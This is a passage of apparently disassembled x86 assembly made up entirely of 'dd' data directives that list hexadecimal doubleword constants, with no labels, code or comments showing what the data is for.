		dd 16B90C86h, 0D05A961Dh, 0F02F0A89h, 6E996983h, 9554F501h
		dd 847B3F36h, 0D205BF10h, 982DC2CFh, 11173A89h,	4BED947Fh
		dd 0BEAC7B3h, 0E72CF080h, 474D828h, 54FC5FCh, 0E12A5BC9h
		dd 0DF23A19h, 0A1F05CC9h, 0A8AC9195h, 0ED4C133Fh, 0AE0C9FDCh
		dd 0FBE6E8Ah, 0F7E3236h, 0CCF04649h, 0DDC48004h, 0BAC2E328h
		dd 1E67F09h, 4CB32C4Dh,	0E6462F82h, 0DB10138h, 9FE9D1F6h
		dd 53249DDEh, 6B0198Ah,	0AB1E360Bh, 0FA38FC9Eh,	7B9FD044h
		dd 5BB208CAh, 4C01742Ch, 47075E11h, 72520E85h, 73BB0C51h
		dd 0DD00B853h, 5193779h, 5A7E776Eh, 1EB85Ch, 73395F2Bh
		dd 4AC9E957h, 8270EC0Eh, 57455968h, 2C983D4Ch, 46E7B84Eh
		dd 70FBD4Fh, 1E147DECh,	0B11F660h, 0E95F12ADh, 0AD145D30h
		dd 244761Ah, 51B3B42Fh,	0E19996E1h, 55BA60A4h, 6783BD1Ch
		dd 28F45853h, 0E29858C9h, 0A4AEB7C7h, 0C7E19533h, 0B8BB94F5h
		dd 0EB68C288h, 8992510Ch, 4B7473CEh, 5805DC7Ah,	73BD75E7h
		dd 0D468412Bh, 4E284E45h, 12DFDED1h, 0C8AA743Bh, 4EBE0B8h
		dd 57340CFEh, 6D139143h, 0D50A765Ch, 0E03207EAh, 906406A3h
		dd 34291990h, 5E1280AFh, 0C8A47FA8h, 3FA45B41h,	0AF279B7h
		dd 4F705A8Dh, 0E6B22024h, 53E737F5h, 2FCB38E6h,	0E768EAD1h
		dd 7525CF8Bh, 0FC8DC5Ah, 0D412E4E9h, 0A0D6FF28h, 0ACF99F0Ch
		dd 5303733Eh, 0E9FD70E5h, 52310F0Fh, 5932CB6h, 0EB15AAB1h
		dd 6E745B74h, 6809B8B7h, 60714B64h, 2FB41F88h, 5004078Fh
		dd 864AF2C1h, 0B7F3B572h, 28CAD6E3h, 6C5D1B4Ah,	0E0C016F3h
		dd 80D3B802h, 66AC6856h, 0D3105C2Bh, 111B2DB0h,	81687E3Ah
		dd 25D62919h, 0BE31F001h
		dd 5AD00810h, 2D15A305h, 56965EEDh, 0E0D1F15Eh,	874B5BD9h
		dd 0C49950h, 0BB51B852h, 0AE47AD40h, 8109559Ch,	342C57E9h
		dd 7D3BD00Ch, 41B5CA32h, 9FDC0806h, 0C1B4C905h,	295D108Ah
		dd 0FE20393h, 0B84B5C72h, 2D70F1E3h, 0BE687755h, 0A17EA6D3h
		dd 0E90D349Eh, 38573BECh, 0CE493CF4h, 6FBC45F0h, 0A0C58160h
		dd 1D64054Ch, 0D7D8E945h, 593E530Eh, 0D8F70A25h, 1FBD02CCh
		dd 0C5091651h, 0D0205844h, 165E64D3h, 6027A858h, 5BEA5A54h
		dd 0B9C4BFD9h, 0C089E93Bh, 410F9050h, 20B088F4h, 2FA22C8Bh
		dd 298FB474h, 0B94A4C8h, 2F7995A3h, 0CA49D62Bh,	0A552391Fh
		dd 1594B1F3h, 0B039FD5Ah, 2722F2EBh, 1545139h, 30E9114Ch
		dd 5E7BD4E3h, 0E4C1C19h, 0F02EB3h, 0FE4B86AEh, 0B2A0CA90h
		dd 61F971AEh, 4FB9528Ch, 0A76BE102h, 907A600Bh,	0C10AEF6Bh
		dd 5C252996h, 8060918h,	0C214821Ch, 0FCE24A7Ch,	169CE8E9h
		dd 9F75653h, 5F54E80Ch,	0D818BA63h, 58296C66h, 0F885D9D0h
		dd 750067Fh, 2A256039h,	698659BDh, 93CFC25Eh, 0BEA8D08h
		dd 0BD7F652h, 586BDC30h, 0A34A74E9h, 0BBCA57E8h, 726E428Bh
		dd 623AE901h, 0A66A896Eh, 2D62EFBBh, 0DB0B5DEDh, 44DCA600h
		dd 295B5C2Bh, 816C0C4h,	75D9DE19h, 0BD4ECF68h, 7E0B9F5Dh
		dd 0FC062BA8h, 1DEA2795h, 7AADFF5Eh, 0A1DB27A3h, 0BB532F10h
		dd 645C2709h, 0B0CD0133h, 4C39722h, 8B730E0Ch, 0F9DA9055h
		dd 6D505163h, 9C020BDFh, 76E992AEh, 5127A462h, 0AF9E74EFh
		dd 0B21222Ch, 577BE9C1h, 39CB1975h, 6252AF52h, 0D3F2D824h
		dd 0F5CEB8E5h, 262A0FE8h, 0FC9CFA88h, 264498ABh, 6920A5CCh
		dd 0D0202C4Ch, 2740769Eh, 6688BA3h, 8080CD7Ah, 62B61C7h
		dd 0F7FA8830h, 0FC65A6FAh, 0FC3DF6A4h, 8942CFBEh, 974EDFEBh
		dd 12464500h, 57DD0160h, 2908A1BFh, 40A15F60h, 2D0F0593h
		dd 4D68D66Fh, 8660A1B6h, 0E60912B9h, 2D01BF06h,	1C08348h
		dd 0E02B602Eh, 2217F453h, 715751E9h, 0FA187A9h,	11DE62A3h
		dd 5A0B56AFh, 0EEE5D920h, 9AE98007h, 0C19AF40Bh, 6C087D68h
		dd 2820CC30h, 2E649FD3h, 0B7606120h, 65FF9CE2h,	37E90C60h
		dd 0F0582C45h, 0E0B500DBh, 0EF3032B7h, 1D07359h, 6676F780h
		dd 0D2194C68h, 9B54F623h, 0FE5BE001h, 6FD4A1C7h, 0A95251FCh
		dd 0D99D72D7h, 4B2E9255h, 0A472B9BCh, 8F2A85BDh, 2BF1E11Fh
		dd 42BCDE2Ch, 660495F5h, 582CB5Ah, 9236859h, 8854DCBBh
		dd 14BDF7B2h, 0C26812DFh, 907FF64Ch, 0DF169306h, 83E95B42h
		dd 4A85F4E2h, 6E950223h, 61573940h, 856E21EDh, 208BAFACh
		dd 48F2DF4Eh, 0BD5A8454h, 0CF650B13h, 0EAC16B21h, 76616906h
		dd 0A12950Ch, 12574E6Fh, 0C16D55D9h, 5148EE1h, 2F77F801h
		dd 4D7029CAh, 90061869h, 0D6F63E79h, 894FC527h,	0E607291Ah
		dd 0B252175Ah, 1D23BE3Ch, 0C28C2C51h, 0C2F6AEABh, 8902B1CCh
		dd 3203DDCEh, 2C931B80h, 0FB5D85F5h, 8F1273DDh,	0B7C4525Fh
		dd 52AC9220h, 0B3285350h, 0D84BB488h, 0CC973FB2h, 7141E043h
		dd 0C03BC47Ah, 496FAB56h, 3EB91B4Eh, 0C50B0841h, 5A351E60h
		dd 3AD77EF5h, 13E92B91h, 0FFDC122Bh, 666E3E41h,	7CB7904Eh
		dd 297291B8h, 0EC1831DAh, 587ED408h, 3EBDCF05h,	42FB5A56h
		dd 5169B405h, 34EF1CC0h, 9601276h, 8B2BED18h, 4A6A982Dh
		dd 1822A3A3h, 0CBF354B5h, 50371D06h, 7AF38072h,	554A3C7Ch
		dd 4F01BD77h, 0EB311A16h, 0ADADC1E9h, 0C087CB69h, 11FA2870h
		dd 0EA4DEB60h, 5E945705h, 83E5062h, 68E6582Dh, 6D9EE924h
		dd 0BFD214AFh, 65F93D2h, 4883A120h, 96476007h, 179107Eh
		dd 32DA58BFh, 0EE7D56F7h, 5C036A77h, 0DAC895FDh, 5351AC00h
		dd 0B339B652h, 0C060427Dh, 21B7BB6Dh, 0BD4E02CCh, 3B791F33h
		dd 0B92827FCh, 0B650448h, 82B64A16h, 2EE52890h,	0EB60FBC5h
		dd 57E2A131h, 0A8EF8901h, 0B75D8ED5h, 29511301h, 0ECE66CAFh
		dd 4B01A140h, 0AE1535DEh, 0BAD4C898h, 1CB832D0h, 64572DC1h
		dd 12844ACEh, 788CAE30h, 0C4989864h, 1353BCA2h,	4511DAECh
		dd 0C4342730h, 7E5E4C07h, 12B9BD10h, 9BB9535Dh,	0A23681B5h
		dd 0B100340Ah, 0E1809B0Fh, 76E65BCh, 52588CFBh,	82EF683Ah
		dd 0E95A0B67h, 31EB5022h, 9110F330h, 0FFBE02DBh, 6B1F2661h
		dd 887BADA1h, 0F7A2E9A6h, 584BEFF2h, 406408F0h,	0B903B809h
		dd 2D4C0C5Ah, 0DD08953h, 1D1DFFC4h, 0C040369Fh,	41BA7323h
		dd 8C79DC05h, 72B2804Fh, 0C420004Ch, 40F1292Fh,	2D196C7Ch
		dd 749046DFh, 502E6EB2h, 80B1162h, 85465D6h, 451C6888h
		dd 1717EE7Ah, 923D7783h, 0A5DC62BEh, 0A480478h,	17DC2C8Bh
		dd 4D4A8BA0h, 7830D73Eh, 0B77E3A68h, 0A5B27E14h, 862E679Dh
		dd 0F1FE27E9h, 0DD24D777h, 7787547Ah, 57FE5F64h, 8650B5A2h
		dd 28034CE7h, 4E98283Fh, 64570C16h, 3A32B626h, 0C7B4D805h
		dd 67FE3982h, 23EE0080h, 0E96C374Bh, 275F55Dh, 0F6381BBAh
		dd 550D606Dh, 0C662403h, 4A590636h, 0EB040C30h,	3B8C182Eh
		dd 14016101h, 5989316Fh, 33873E93h, 1688CFB4h, 0AC7C5ABFh
		dd 6650DF6Eh, 9613533Fh, 0D69BA8F0h, 0B42127AAh, 0AB4390C7h
		dd 4B48F213h, 182F0B05h, 89C882B0h, 0CFDC09D7h,	2A7CA310h
		dd 31AB455Fh, 1915FD6Fh, 78657A4Dh, 1570BAAh, 0D199F683h
		dd 1A8D8F4Fh, 4B6E9C97h, 1AD75F21h, 82398295h, 0E0FE80Fh
		dd 382EA40Ah, 7F8104CBh, 60FEE781h, 56B88193h, 3C1F0768h
		dd 0CE58C0D6h, 0F44A0515h, 0B192E914h, 5EA773A4h, 15944321h
		dd 5A90CC7Ah, 0CDFC034Fh, 725E86A2h, 577D9627h,	0A64FFF59h
		dd 9102273Dh, 5203CC98h, 67508CB3h, 3E718B2Dh, 2747513Eh
		dd 0C113C9B3h, 52EBC5FBh, 0E04ABACCh, 0AE925D51h, 461A595Fh
		dd 5FC74218h, 7D09B002h, 0E9AFD20Bh, 844237Ch, 7E533E68h
		dd 6088921h, 2D0C100Fh,	0FC64095Dh, 40525A53h, 0D8C33D29h
		dd 0B987343Ch, 0DB045EA8h, 0C1203061h, 0C5143A25h, 5D0BB33h
		dd 1EC82FCh, 380168C5h,	68AF502Eh, 0ECC1C53Ah, 61884CDDh
		dd 0D06DE9ECh, 0C204287Eh, 26CE63F9h, 9A1DB850h, 0D04F2949h
		dd 0E0D909A8h, 3AC8F46Dh, 40829458h, 0A975D1E2h, 316BE397h
		dd 21FB0189h, 28CB8B9Eh, 5D8484C1h, 32280012h, 551582Bh
		dd 400386FFh, 97173035h, 7E956BD8h, 777EEBC1h, 0E979C8E9h
		dd 0DD9C6039h, 674268C2h, 72BD6A7Ch, 0B48D25D5h, 80C05779h
		dd 4A3094EFh, 433798F8h, 188C514Fh, 576940BEh, 0C0B7DFF2h
		dd 0E8015BF4h, 7649250h, 46B925DAh, 292ABF8Fh, 55753008h
		dd 916067E9h, 5777F7A5h, 0AE3A4AF8h, 0CE50B01Eh, 5D77893Fh
		dd 0BC4A8B4Ch, 0EE29500Ch, 205C717Ch, 93EF8159h, 32AD76A7h
		dd 0BE947678h, 0ABB015Ah, 7B3CF668h, 3FCC5977h,	10CAE94Ah
		dd 0FF48DECDh, 92B5B34Bh, 6F943DAEh, 0DCABBCC4h, 4F44A749h
		dd 0C796A1F8h, 582B7104h, 45C46A5Fh, 0AFD617BAh, 367D0A3Dh
		dd 5DBD0C98h, 4C173405h, 91FB48E9h, 882FCC49h, 87A59CE3h
		dd 0E2D6F7F0h, 0C9D90930h, 0FA241E2Bh, 71669742h, 0EC9542CEh
		dd 564507F6h, 0CC0E61AFh, 9A12413h, 378A6E00h, 71613558h
		dd 404C176Ah, 0CB200525h, 0E59B0378h, 55B0C015h, 2D0E0BBDh
		dd 0EDE905DDh, 5BE0639Eh, 0FBF50581h, 0F7911h, 0EF4BF882h
		dd 0C25DE963h, 4C463760h, 0E66588E1h, 1579FC21h, 0F9B3A085h
		dd 77618470h, 719D5E2Ch, 0E1722FECh, 0CBF351A0h, 39805980h
		dd 0EC9BA1C4h, 441C0C1Bh
		dd 0CB1258E1h, 0C3C1A32Dh, 0B4DE287Bh, 0EB804700h, 50E32818h
		dd 2A9CEBB0h, 92684458h, 0C498EC12h, 0A3FD03FCh, 0FE56A800h
		dd 2F28169h, 0C0AA0C27h, 4B7A4B5Bh, 4CCACB6h, 51D115F1h
		dd 0F200A2F8h, 0ED1B91D3h, 0FB40AFE9h, 8BE650C0h, 31574114h
		dd 0EF493065h, 9F30347Bh, 0B3CF17C0h, 555E2C11h, 9D300B1Bh
		dd 5198F811h, 0F4C0FE92h, 849650B0h, 26AB762h, 9E769968h
		dd 7254D427h, 4D11FA00h, 0F2A1747Eh, 0E90D8515h, 25EBC7D4h
		dd 53F008C7h, 0EF134813h, 4B3016F0h, 85C2B2E5h,	0C42CE828h
		dd 78EA702Ch, 9770E9D0h, 5A51807Bh, 0B7E6EEh, 0BE665639h
		dd 346D7A41h, 1236EA8h,	0A24326AFh, 818A744Dh, 7B6FC924h
		dd 24020E13h, 5F505508h, 68041B64h, 37514F94h, 0D30FE3F8h
		dd 0E169953h, 0BCB39735h, 9CAFF54Ah, 6E405BA3h,	0A83C25E9h
		dd 0AAEEAD72h, 56699F62h, 9154C6Fh, 2CD64574h, 3AC9E055h
		dd 32E40538h, 0C8BD7CE9h, 2FDA4B3h, 1218FEC0h, 0FBE9C423h
		dd 2D180BCFh, 0CE097FD9h, 28BC31E7h, 7DE04BD1h,	68070A0Fh
		dd 66F52AF7h, 4FD45856h, 0D0712A0h, 7C2B9990h, 0C1591FF6h
		dd 0F79307E0h, 833530D3h, 3B125AFEh, 2F405EE9h,	9915A52Dh
		dd 0BEF900Ah, 27C53913h, 1FDFF700h, 0F1EC5329h,	19FB4F17h
		dd 96596CF0h, 0E8586241h, 496645FFh, 0BB53CFB0h, 3079F109h
		dd 4194DA58h, 290B00FEh, 0DB4AE9CEh, 0C9BFEF00h, 9034534Fh
		dd 69E10A97h, 10F46762h, 68BC4FFCh, 0CE409741h,	5E7AABF6h
		dd 57E3A0F3h, 0D2C37D0Fh, 0D6F33701h, 0AFE5D05Fh, 2DEE45EAh
		dd 354CD718h, 0A205D88Ch, 0AD6B6507h, 6B885ADEh, 0A7D12DBAh
		dd 0E43CF74Bh, 0E74C552Dh, 54680F12h, 0EE0E6024h, 99F5E2C1h
		dd 20C90D00h, 5786301h,	0F0B4BA01h, 2E6EF12Ah, 0DBF16302h
		dd 958BDFD2h, 701EBA54h, 64F50762h, 0B4022610h,	5BC0B8B4h
		dd 974CB1E8h, 3434A05Fh, 2659519Dh, 0AA2114B8h,	7D89E42Dh
		dd 7B9700FFh, 95E69F02h, 0E2200D64h, 8B659FC2h,	96B5F215h
		dd 49A13DF9h, 0CB5207E7h, 0CE39E94Bh, 0F5AF4C8h, 58E63059h
		dd 0AFC8F52Bh, 0FDBA72EFh, 14D085Eh, 0A9FD3BAEh, 0CF010B8Fh
		dd 0D60EFA84h, 0C1293D55h, 0B06EBB9Ah, 12422317h, 6742DFEh
		dd 0E92D0BB8h, 5DCE615Bh, 89A756C6h, 0B8574CFBh, 9F5AC5FCh
		dd 2C448371h, 0E703CE95h, 0A99F97C1h, 4689CE31h, 3FD97BDAh
		dd 0AD95AF4Ah, 0FA0954B3h, 805085C9h, 0CA1AF124h, 9EB80124h
		dd 29954764h, 282730E8h, 1ED4E241h, 0C1B8BD4Bh,	7B4B1968h
		dd 0FD469537h, 46064431h, 0E648D1E2h, 53925DA2h, 743D01B1h
		dd 63E9DA9Dh, 3195126Fh, 7A0C67A9h, 52CA3FB2h, 0FFC13598h
		dd 59EC0B81h, 8768F37Eh, 0B9CCB1E9h, 532F00F6h,	410530ABh
		dd 2B5E7A15h, 741ADECh,	443D2860h, 0F173F758h, 27C36816h
		dd 744571F5h, 4A971704h, 67C28000h, 0E490D520h,	3C03ED40h
		dd 4E173862h, 0A46EF895h, 0D209D30Bh, 86DC9560h, 0A7BE011Dh
		dd 587FC16Dh, 0CB81F23Fh, 4FB05F52h, 2A0470F5h,	7CBF6812h
		dd 79A631ABh, 0C1310190h, 0C423876Eh, 931CEC4Ch, 5B586E04h
		dd 27EDBD00h, 314E25C0h, 0E24B95ACh, 6CE9CF51h,	715A3064h
		dd 0FAE0BF91h, 9591CEABh, 0EB95F828h, 0F5DA4A93h, 0D2EF329Fh
		dd 58B5C1BAh, 0D3A79DB9h, 0E920ACCh, 3AE6BD5Bh,	39886426h
		dd 2649DF08h, 35080043h, 7E566748h, 8A0B2DE8h, 0F0C31662h
		dd 295F2D05h, 0C02F0ACEh, 2BA5B61h, 2A451AC1h, 841DE35Fh
		dd 0B6025254h, 293E8C4Eh, 8D8887Dh, 58138713h, 7C8B2E00h
		dd 27E9092Ah, 924CEB0Fh, 23E12F98h, 7C4E1088h, 0D20A554Ch
		dd 38FFB2Eh, 470245CBh,	5741FFF5h, 645246BAh, 0E8220C81h
		dd 0CDE919ACh, 27297AEFh, 0AC9F36Ah, 0C2D011E9h, 0C3D2EE9Dh
		dd 7CFEF4B1h, 88E53EB1h, 583C059h, 7160EF3Ch, 7F5E300Ch
		dd 9F1B04Ch, 0F599A9FAh, 998B1709h, 12C8D96h, 4F17BDFBh
		dd 1008BC0Ch, 0B8B2B5Fh, 85E905B5h, 0BE89426Dh,	536103DBh
		dd 8B73D9E6h, 0B056630Bh, 1733C648h, 0B02EE937h, 66C9438Ah
		dd 20BFC601h, 80094EFDh, 455138C3h, 0AE0CB44Ch,	0DD10908Bh
		dd 3BB905E3h, 0FBE835Fh, 78C691C5h, 7B794638h, 7F719725h
		dd 2C089E08h, 2CD83DDEh, 13489F84h, 85E01CAFh, 0FE5542DAh
		dd 0C8CA0B63h, 68594D1Fh, 0E634A49h, 57FEF187h,	0D3A9E968h
		dd 27CE7E08h, 1520D9DAh, 0A5B84E87h, 0FD6B5570h, 0EB313584h
		dd 268A3980h, 208798BAh, 95B24C2Bh, 0FE94B6F0h,	87E4680Dh
		dd 9754CAE8h, 0DEAFA859h, 29D9AF20h, 7429556Bh,	0CBE1566h
		dd 0A114D77Ah, 946EE915h, 0BE7376D9h, 0A8A1C17Eh, 2E9825B9h
		dd 44EF3164h, 1DB655AEh, 76A6801h, 16B1087h, 3B0520B6h
		dd 0F5C02B34h, 0C3FBB5E9h, 505D542Bh, 0F7564ACAh, 425DFCF2h
		dd 9A825E54h, 0FF7A631Eh, 5447B025h, 9C55EB27h,	2AE916DBh
		dd 6CB22986h, 61FAD348h, 17CEC1B7h, 0E7AADF6Bh,	7AC1658h
		dd 0CF012A64h, 6BD1F7ADh, 40E73AB0h, 522D6877h,	23749841h
		dd 2A740A39h, 884EFC1h,	5B0BF902h, 9A27551h, 3B5FE01Fh
		dd 0F0FCD9CFh, 2EE7A76Fh, 30427E10h, 43E6F147h,	970BAA67h
		dd 51248068h, 45382E2h,	535478FBh, 0FA092228h, 5862886Eh
		dd 8929586Eh, 0ABA0CB17h, 0A87C7838h, 80B3A4FAh, 0B02E7BB5h
		dd 0CB3F7B6Eh, 64E7A0ACh, 78B2BAC3h, 5D9F3C9h, 20FB8746h
		dd 0C09EA23Fh, 88FD5969h, 290946B2h, 2043ECC8h,	81004DEDh
		dd 0D00DCDF2h, 5D3216Fh, 6EBC15Ah, 92D98243h, 90F25BECh
		dd 0BF0474BAh, 0A888B031h, 0AE2A16BBh, 80BC0375h, 4120680Bh
		dd 8FC1DE1Bh, 9F346B6Ah, 203EB1AAh, 57829BF5h, 241C11FAh
		dd 7A7B050Bh, 0E370F0Bh, 6728F54Bh, 2D5D1708h, 2A45FD26h
		dd 3D7CC16h, 0EAA0CC94h, 4DCC9D5Dh, 0FE6F100Ah,	0F40ABF35h
		dd 5F39F090h, 0C1A3F56h, 65C75FF1h, 729056ADh, 0DF68D418h
		dd 0DE735B48h, 2267DB09h, 0D72241h, 6E10BA52h, 4A2CC51Fh
		dd 5A074009h, 47424C94h, 47793500h, 5AD63157h, 0B53BD09Dh
		dd 85BB6082h, 6A4BB900h, 1605862h, 402C3748h, 79EB0741h
		dd 0AF2925F1h, 0D1AF5F12h, 1DB62E5h, 60DDC288h,	2C2F126Ah
		dd 0ED0E8178h, 3237B0BAh, 57BB9C85h, 7C1B71A0h,	5BBB0045h
		dd 19BA1F5Ah, 0F914C6BEh, 40B7AE28h, 34B5DDE1h,	0EEC70E49h
		dd 2743C423h, 2CDE7AB6h, 0F8AB162h, 0E5BE1EF7h,	0B33E907Dh
		dd 0A67BE173h, 3E6E52A5h, 0AE39689Dh, 0AA288D00h, 0BCA814Dh
		dd 799A3A5Ch, 296009h, 66E0007Dh, 73D78853h, 0F9C14B51h
		dd 0A5BC2D8Ah, 0C7FBE3F8h, 3F51E0AEh, 0D548F775h, 13840652h
		dd 55E7BCBh, 69AFACEDh,	586AB8ECh, 0E9060404h, 0C6D5558Bh
		dd 0E68388EEh, 27524440h, 0FE1DEB6h, 539130F4h,	0F698B700h
		dd 80CFFED7h, 88B816F7h, 0C83104FDh, 4DA1478h, 33404D0Ch
		dd 1D5A50FCh, 0AACDE93Dh, 34B25185h, 192853Ch, 1903C668h
		dd 0C2A6206Ch, 0F7010DCCh, 0B1EF4007h, 0B252CB07h, 80D1FE73h
		dd 0C2CC88E2h, 0C50CC857h, 0D1286102h, 4E86C15Ah, 0E90A0696h
		dd 4FCA8E37h, 61A3E9D3h, 0F57A2D0Ch, 0F2A63A0Bh, 4AD3F910h
		dd 0C89351C1h, 56EDEB81h, 0A68268F4h, 0A64E2DACh, 0F63187DBh
		dd 5505591Ah, 5726B390h, 0AE5570C9h, 5D37129Fh,	0CEF2D4C0h
		dd 0C19818B5h, 0C14E9602h, 944AA2E9h, 7A0C325h,	617F52E6h
		dd 65F5CB87h, 0D6869B94h, 4FA02790h, 4436273Bh,	2F7627FCh
		dd 52F6BB94h, 57585CE1h
		dd 6BEB6085h, 47C704E4h, 2CFE17FDh, 7BB553BCh, 7AD9E266h
		dd 0D8DD5B07h, 66802C6Eh, 87C59BDh, 1828439Ah, 0E448F32Fh
		dd 0B9F673EDh, 0BF5C9223h, 2EE9FB60h, 0CF575CC7h, 872CDF20h
		dd 709E5F7h, 0D993804Fh, 265B4BABh, 1716FA01h, 92EDECF1h
		dd 0C1C07BB8h, 6292656Ch, 41F6294Dh, 0B8133B08h, 0ADF3FD71h
		dd 70FCBB01h, 0E3A8FD33h, 1940A068h, 0A7A825E9h, 0B462AF74h
		dd 5BA005Ah, 3473BF09h,	6CB86290h, 0D8278D05h, 0C380417Bh
		dd 981548C8h, 5EF130BDh, 325A7E20h, 0E885AC4Ah,	0B8ED5604h
		dd 0C1E95309h, 1279725Dh, 75A5EA81h, 7E720E6Fh,	0E4C00370h
		dd 0D1C4FE08h, 983F4C23h, 0F54A7CE3h, 0E4D324ACh, 15E88E9h
		dd 0F4102DF6h, 0EE871397h, 0B80F4E8h, 1E85CE1h,	5BB09097h
		dd 0B5518093h, 0ED80CB0Fh, 5E466BAAh, 50F382EAh, 84FD9A60h
		dd 75AE5D81h, 3213EFBFh, 89174FB9h, 0B22964CAh,	0B90FC4ABh
		dd 0DB13AA17h, 4269ECC1h, 7D89C210h, 2958381Dh,	8489559Fh
		dd 0CC28C85Ah, 0ED0202Ah, 8F131505h, 1381432Eh,	29018D4Fh
		dd 0F89E43D1h, 0B6EC655Bh, 6187240Fh, 2768FE86h, 3BA85897h
		dd 845FF4EEh, 47EB192h,	88DB2108h, 11217A60h, 5E025643h
		dd 486BCA90h, 5DEB21C6h, 0AEAF4810h, 0D68F698h,	2CB7B4Fh
		dd 0E9164296h, 8793A4ADh, 4E7940A0h, 0AC0B54B0h, 7845255Eh
		dd 42AFC9Eh, 89E3FC74h,	0E72B80D7h, 1D1665BFh, 3AB84F64h
		dd 6728002h, 0B760891Fh, 58C982C5h, 83520958h, 0B4EA08B9h
		dd 0FC25BCF8h, 66EFEADCh, 9EDF58E0h, 0E21608B7h, 66B4C58Fh
		dd 5AB0532Eh, 0CC228C6h, 633C3A81h, 4038B65Bh, 0B3805594h
		dd 0D3F600FDh, 0C057E380h, 515E06EBh, 0E9216CCBh, 0AF53A7AFh
		dd 0DA3438BDh, 762C3CD8h, 90064A92h, 99413399h,	0E6C12512h
		dd 82CE8307h, 5348A7A1h, 19F42080h, 0E6D1793Fh,	2C854BBEh
		dd 8B054D6Ah, 5F24F2C0h, 3F84AE94h, 0F1F6E691h,	96CCC724h
		dd 47378B47h, 0FC8B6C59h, 69497CC5h, 0F82E394Ch, 50606F44h
		dd 0C6BD7B8h, 0D9BE046Ah, 4BF290Bh, 0D4AEEDCDh,	0BD5AC29Eh
		dd 9EC2B4F4h, 0C14F2278h, 0E5692075h, 63EF338Eh, 40B5C74h
		dd 0B43529C0h, 7B061102h, 7F39E940h, 47F6A5A1h,	6E043EC0h
		dd 0BD52684Ch, 16E548D1h, 0EDA2909Eh, 0E537FA4Ah, 686B56F2h
		dd 505D55BDh, 40A980F7h, 7A950587h, 6B0A946Bh, 0D658E276h
		dd 26880AAh, 208D5D4Ah,	99DA1C2h, 113D1C77h, 95612D1Ah
		dd 44B72FCh, 7EC68F8h, 0B8CBF3C4h, 584DA115h, 63970305h
		dd 2C3A4874h, 0BBD401Fh, 46DF201Ah, 7161D80h, 0A1B835F0h
		dd 0CFB7434Bh, 3C7F5C25h, 0C0E95175h, 0CADBB23Bh, 3D0FCF51h
		dd 48124571h, 0D045D2BAh, 2AC1CE1h, 497A7453h, 5F147D8Ch
		dd 78FC294Ah, 7488EBB4h, 0FC212FE9h, 9D897879h,	4644558Dh
		dd 0CF1D689Fh, 563C146Dh, 0CD84995Ah, 0E2E74158h, 4FC1B50Ah
		dd 0AE587A28h, 0D1DFEC3Fh, 2D5EF7D5h, 25C5D4F8h, 66DE74D6h
		dd 9DC07D02h, 575B5453h, 6795FA56h, 74DF979Eh, 9990AE10h
		dd 0F2DAF658h, 8DE76038h, 80F484C5h, 0EA89EB12h, 0CAB0F7E8h
		dd 66F23759h, 2A50574Ch, 6CBDE730h, 5EF018EEh, 6FA0CC51h
		dd 0E9427D0Dh, 0CAA0B10Ah, 0C2C083AEh, 4E6800B1h, 2228B33Ah
		dd 0E548C15Bh, 0E153CFDCh, 414B076Fh, 0CEBC6E30h, 0A6E5EE1Dh
		dd 8492F998h, 0AC0BD7B9h, 0EB8505F7h, 7F4704ABh, 0E4EA993Fh
		dd 0DEA663EFh, 0FBCB2797h, 2BD244D4h, 151EF75Bh, 4EE9F626h
		dd 93A81649h, 0FB438D43h, 84E02B4Fh, 0B3E84B21h, 5EE909A7h
		dd 0F2905D74h, 751F92EAh, 404CA5A9h, 0B5B91A73h, 899727FAh
		dd 0C7590030h, 4FF7630Bh, 588EF83Eh, 0A11E108Dh, 0F8295A03h
		dd 0ECE17505h, 0E8B8405Ch, 8001B951h, 0E9068203h, 496E4785h
		dd 0F4A7BD53h, 0F2540468h, 3C444FCDh, 8002AD97h, 65E0D1F5h
		dd 0E54CC007h, 75B712BAh, 1C4A93ACh, 0E91982A0h, 4E578489h
		dd 590BA212h, 0EF562566h, 75B47E31h, 5FEDBA00h,	0C138C32Ch
		dd 0C8206005h, 0BF34A104h, 0E104BF12h, 59B89E92h, 5745E8A2h
		dd 89ED0597h, 1A845B1h,	0E649F9F6h, 4AE168D0h, 1292CF04h
		dd 0CBEEF51Fh, 88A012F2h, 469832EEh, 9746667Fh,	75641340h
		dd 3E80244Fh, 9E62E905h, 0BBB702C1h, 282D7F6h, 0FF85C780h
		dd 66F7E1E4h, 3010946Ah, 3DF223C2h, 0CE1305Fh, 138350Ch
		dd 0E089782Fh, 80DBF1FDh, 75621268h, 0D5EE1C3Dh, 12C62ECh
		dd 9F1071CAh, 2CF75926h, 77B86009h, 43090906h, 55959AE9h
		dd 78ECEE98h, 0F724E87Eh, 0F11A85D1h, 4E055F11h, 6906A1DBh
		dd 7502897Fh, 0D389724Dh, 4411546Dh, 4902A089h,	11B7CF6Eh
		dd 0ABCD4B7Dh, 0F6F2A934h, 663C3A98h, 9FCE3080h, 0F0F8AB96h
		dd 8522E927h, 0DA074DCCh, 6CC40F1Eh, 0E91AB4AEh, 993F5F35h
		dd 9B68BA90h, 1539EC1Eh, 68442958h, 3CA8E982h, 1766E490h
		dd 0D04EEE25h, 80E6403Ch, 679808F2h, 2C5C29C2h,	0AD0E5784h
		dd 0E6B10992h, 0B0500C00h, 3320E987h, 12B21583h, 310F128h
		dd 0ACB84B99h, 0A396F28h, 0A67C9BF5h, 572C1281h, 0F04AF8A4h
		dd 0C0F6B5E9h, 2C1FC639h, 6ABF18C9h, 5E080D36h,	88FEF1E6h
		dd 1E3DE3A9h, 60172C77h, 0A95F0F82h, 4E3FF4CEh,	5B3D7EC8h
		dd 2883FBCh, 59CAB5BFh,	858B4DF8h, 71A6DD6h, 9382FDD1h
		dd 31028C75h, 99BAC1E8h, 9DCDB23Eh, 3BEA2E62h, 0D8BD584Dh
		dd 0FD3035CEh, 0C08425B4h, 3320B4AAh, 1236C848h, 68FAD001h
		dd 0B26A28BEh, 0CEC7A49Bh, 54C8E2D2h, 2AFDC2E7h, 40629F7Eh
		dd 64337E6Ch, 3C98BB5Fh, 0C9565BE5h, 13492DE9h,	6E96DAEh
		dd 5C1788Ch, 20253E09h,	0DE3A0514h, 4F19D1D8h, 6BDF49A5h
		dd 605206E1h, 6D5FB6AEh, 6BA50B30h, 1F359835h, 0D37510F7h
		dd 6AA7F14Ah, 32B914B4h, 0DA16581Eh, 0EDF16BCAh, 181944A6h
		dd 0DA34666Fh, 869F56A7h, 0ED96512Dh, 0E986EF42h, 585CC9AFh
		dd 0D0C61737h, 41DDF9D0h, 0E86E5A07h, 0E6F34EF2h, 477A6D25h
		dd 0E834FD98h, 0EE80EF7Ah, 0D05B7B58h, 0C22093B1h, 0CD0C5D66h
